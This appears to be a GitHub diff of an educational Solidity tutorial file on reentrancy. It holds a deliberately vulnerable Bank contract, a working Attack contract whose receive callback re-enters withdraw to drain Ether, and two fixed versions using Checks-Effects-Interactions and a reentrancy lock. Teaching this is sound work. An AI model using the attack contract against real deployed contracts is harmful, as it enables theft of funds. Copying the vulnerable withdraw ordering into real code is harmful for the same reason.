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Merge pull request AmazingAng#620 from 22Xy/english-translations
docs: solidity 104 english translations
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Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol
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| // SPDX-License-Identifier: MIT | ||
| // by 0xAA | ||
| // english translation by 22X | ||
| pragma solidity ^0.8.4; | ||
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| contract Bank { | ||
| mapping (address => uint256) public balanceOf; // Balance mapping | ||
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| // Deposit Ether and update balance | ||
| function deposit() external payable { | ||
| balanceOf[msg.sender] += msg.value; | ||
| } | ||
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| // Withdraw all Ether from msg.sender | ||
| function withdraw() external { | ||
| uint256 balance = balanceOf[msg.sender]; // Get balance | ||
| require(balance > 0, "Insufficient balance"); | ||
| // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! | ||
| (bool success, ) = msg.sender.call{value: balance}(""); | ||
| require(success, "Failed to send Ether"); | ||
| // Update balance | ||
| balanceOf[msg.sender] = 0; | ||
| } | ||
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| // Get the balance of the bank contract | ||
| function getBalance() external view returns (uint256) { | ||
| return address(this).balance; | ||
| } | ||
| } | ||
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| contract Attack { | ||
| Bank public bank; // Address of the Bank contract | ||
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| // Initialize the address of the Bank contract | ||
| constructor(Bank _bank) { | ||
| bank = _bank; | ||
| } | ||
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| // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function | ||
| receive() external payable { | ||
| if (bank.getBalance() >= 1 ether) { | ||
| bank.withdraw(); | ||
| } | ||
| } | ||
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| // Attack function, msg.value should be set to 1 ether when calling | ||
| function attack() external payable { | ||
| require(msg.value == 1 ether, "Require 1 Ether to attack"); | ||
| bank.deposit{value: 1 ether}(); | ||
| bank.withdraw(); | ||
| } | ||
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| // Get the balance of this contract | ||
| function getBalance() external view returns (uint256) { | ||
| return address(this).balance; | ||
| } | ||
| } | ||
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| // Use Checks-Effects-Interactions pattern to prevent reentrancy attack | ||
| contract GoodBank { | ||
| mapping (address => uint256) public balanceOf; | ||
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| function deposit() external payable { | ||
| balanceOf[msg.sender] += msg.value; | ||
| } | ||
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| function withdraw() external { | ||
| uint256 balance = balanceOf[msg.sender]; | ||
| require(balance > 0, "Insufficient balance"); | ||
| // Checks-Effects-Interactions pattern: update balance change first, then send ETH | ||
| // In case of reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it cannot pass the above check. | ||
| balanceOf[msg.sender] = 0; | ||
| (bool success, ) = msg.sender.call{value: balance}(""); | ||
| require(success, "Failed to send Ether"); | ||
| } | ||
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| function getBalance() external view returns (uint256) { | ||
| return address(this).balance; | ||
| } | ||
| } | ||
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| // Use reentrant lock to prevent reentrancy attack | ||
| contract ProtectedBank { | ||
| mapping (address => uint256) public balanceOf; | ||
| uint256 private _status; // reentrant lock | ||
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| // reentrant lock | ||
| modifier nonReentrant() { | ||
| // _status will be 0 on the first call to nonReentrant | ||
| require(_status == 0, "ReentrancyGuard: reentrant call"); | ||
| // Any subsequent calls to nonReentrant will fail | ||
| _status = 1; | ||
| _; | ||
| // Call ends, restore _status to 0 | ||
| _status = 0; | ||
| } | ||
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| function deposit() external payable { | ||
| balanceOf[msg.sender] += msg.value; | ||
| } | ||
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| // Protect vulnerable function with reentrant lock | ||
| function withdraw() external nonReentrant{ | ||
| uint256 balance = balanceOf[msg.sender]; | ||
| require(balance > 0, "Insufficient balance"); | ||
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| (bool success, ) = msg.sender.call{value: balance}(""); | ||
| require(success, "Failed to send Ether"); | ||
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| balanceOf[msg.sender] = 0; | ||
| } | ||
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| function getBalance() external view returns (uint256) { | ||
| return address(this).balance; | ||
| } | ||
| } | ||
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